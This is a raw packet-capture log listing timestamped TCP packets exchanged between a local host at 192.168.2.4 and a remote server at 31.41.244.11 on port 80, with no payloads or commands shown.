Dec 17, 2024 22:06:40.209608078 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.210509062 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.210557938 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.210882902 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.210925102 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.211574078 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.211620092 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.211755991 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.211802959 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.212549925 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.212595940 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.212737083 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.212781906 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.213639975 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.213682890 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.214088917 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.214143038 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.214709044 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.214756012 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.215069056 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.215107918 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.215774059 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.215811968 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.215908051 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.215945959 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.216823101 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.216861963 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.217183113 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.217221022 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.217942953 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.217981100 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.219017982 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.219075918 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.219086885 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.219088078 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.219116926 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.219131947 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.220053911 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.220098019 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.220419884 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.220468044 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.221263885 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.221306086 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.221393108 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.221435070 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.222222090 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.222265005 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.222275972 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.222326994 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.223295927 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.223347902 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.223361015 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.223403931 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.224339008 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.224383116 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.225424051 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.225435972 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.225476027 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.225610971 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.225662947 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.226526976 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.226568937 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.226943970 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.226985931 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.227495909 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.227536917 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.227742910 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.227782011 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.228589058 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.228643894 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.228854895 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.228907108 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.229645014 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.229701042 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.229769945 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.229815006 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.230802059 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.230848074 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.230986118 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.231029034 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.231817007 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.231868029 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.232026100 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.232350111 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.232878923 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.232928038 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.233033895 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.233078957 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.233938932 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.233994961 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.234076977 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.234126091 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.235007048 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.235049963 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.235275030 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.235328913 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.236078024 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.236124039 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.236876965 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.236921072 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.237131119 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.237174034 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.237864017 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.237919092 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.238307953 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.238348007 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.238692999 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.238739014 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.239299059 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.239356041 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.239387989 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.239429951 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.240302086 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.240349054 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.240427971 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.240467072 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.241368055 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.241426945 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.241684914 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.241729021 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.242460012 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.242508888 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.242643118 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.242686033 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.243550062 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.243590117 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.244040012 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.244081974 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.244529963 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.244568110 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.244801044 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.244848013 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.245649099 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.245659113 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.245688915 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.245702028 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.246795893 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.246851921 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.247191906 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.247241974 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.247805119 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.247816086 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.247848988 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.247873068 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.248830080 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.248859882 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.248881102 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.248892069 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.249835968 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.249881029 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.386333942 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.386455059 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.386534929 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.386545897 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.386579037 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.386595011 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.386699915 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.386756897 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.387687922 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.387738943 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.387820005 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.387867928 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.388659954 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.388711929 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.388792038 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.388844013 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.389481068 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.389492989 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.389529943 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.389543056 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.390482903 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.390532970 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.390702009 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.390749931 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.391618967 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.391671896 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.392106056 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.392155886 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.392611980 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.392656088 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.392898083 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.392946005 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.393804073 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.393815994 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.393851995 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.394839048 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.394886971 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.395081043 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.395143032 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.396022081 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.396059990 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.396296978 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.396339893 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.397120953 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.397166967 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.397274017 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.397313118 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.398197889 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.398246050 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.398632050 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.398679972 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.399101973 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.399157047 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.399168968 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.399210930 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.400105953 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.400150061 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.400643110 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.400686979 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.401144981 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.401189089 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.401737928 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.401781082 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.402277946 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.402322054 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.402446985 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.402488947 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.403318882 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.403363943 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.403635979 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.403681993 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.404345036 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.404386997 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.404567957 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.404617071 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.405436993 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.405483007 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.405663013 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.405704975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.406486034 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.406529903 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.406874895 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.406922102 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.407552004 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.407598019 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.407917976 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.407962084 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.408584118 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.408626080 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.408797026 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.408839941 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.409651995 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.409694910 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.410192013 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.410235882 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.410741091 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.410783052 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.410845041 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.410892010 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.411858082 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.411899090 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.412321091 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.412369967 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.413005114 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.413053989 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.414091110 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.414136887 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.414140940 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.414153099 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.414191961 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.415000916 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.415054083 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.415185928 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.415234089 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.416074991 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.416124105 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.416740894 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.416784048 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.417179108 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.417190075 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.417229891 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.418206930 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.418252945 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.418354034 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.418404102 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.419294119 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.419339895 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.419828892 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.419876099 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.420427084 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.420439005 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.420471907 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.421384096 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.421428919 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.421711922 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.421755075 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.422430992 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.422477007 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.423032045 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.423095942 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.423569918 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.423620939 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.424061060 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.424114943 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.424552917 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.424599886 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.424686909 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.424732924 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.425663948 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.425729990 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.425760984 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.425806046 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.426772118 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.426820040 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.426987886 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.427035093 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.427805901 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.427851915 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.427911043 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.427957058 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.429088116 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.429138899 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.429167986 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.429260015 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.429949045 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.430002928 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.430934906 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.430982113 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.431042910 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.431102991 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.431509972 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.431555986 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.432094097 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.432138920 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.433154106 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.433175087 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.433199883 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.433212996 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.433276892 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.433319092 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.434215069 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.434262037 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.434344053 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.434391975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.435305119 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.435350895 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.435460091 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.435533047 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.436346054 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.436394930 CET	49825	80	192.168.2.4	31.41.244.11
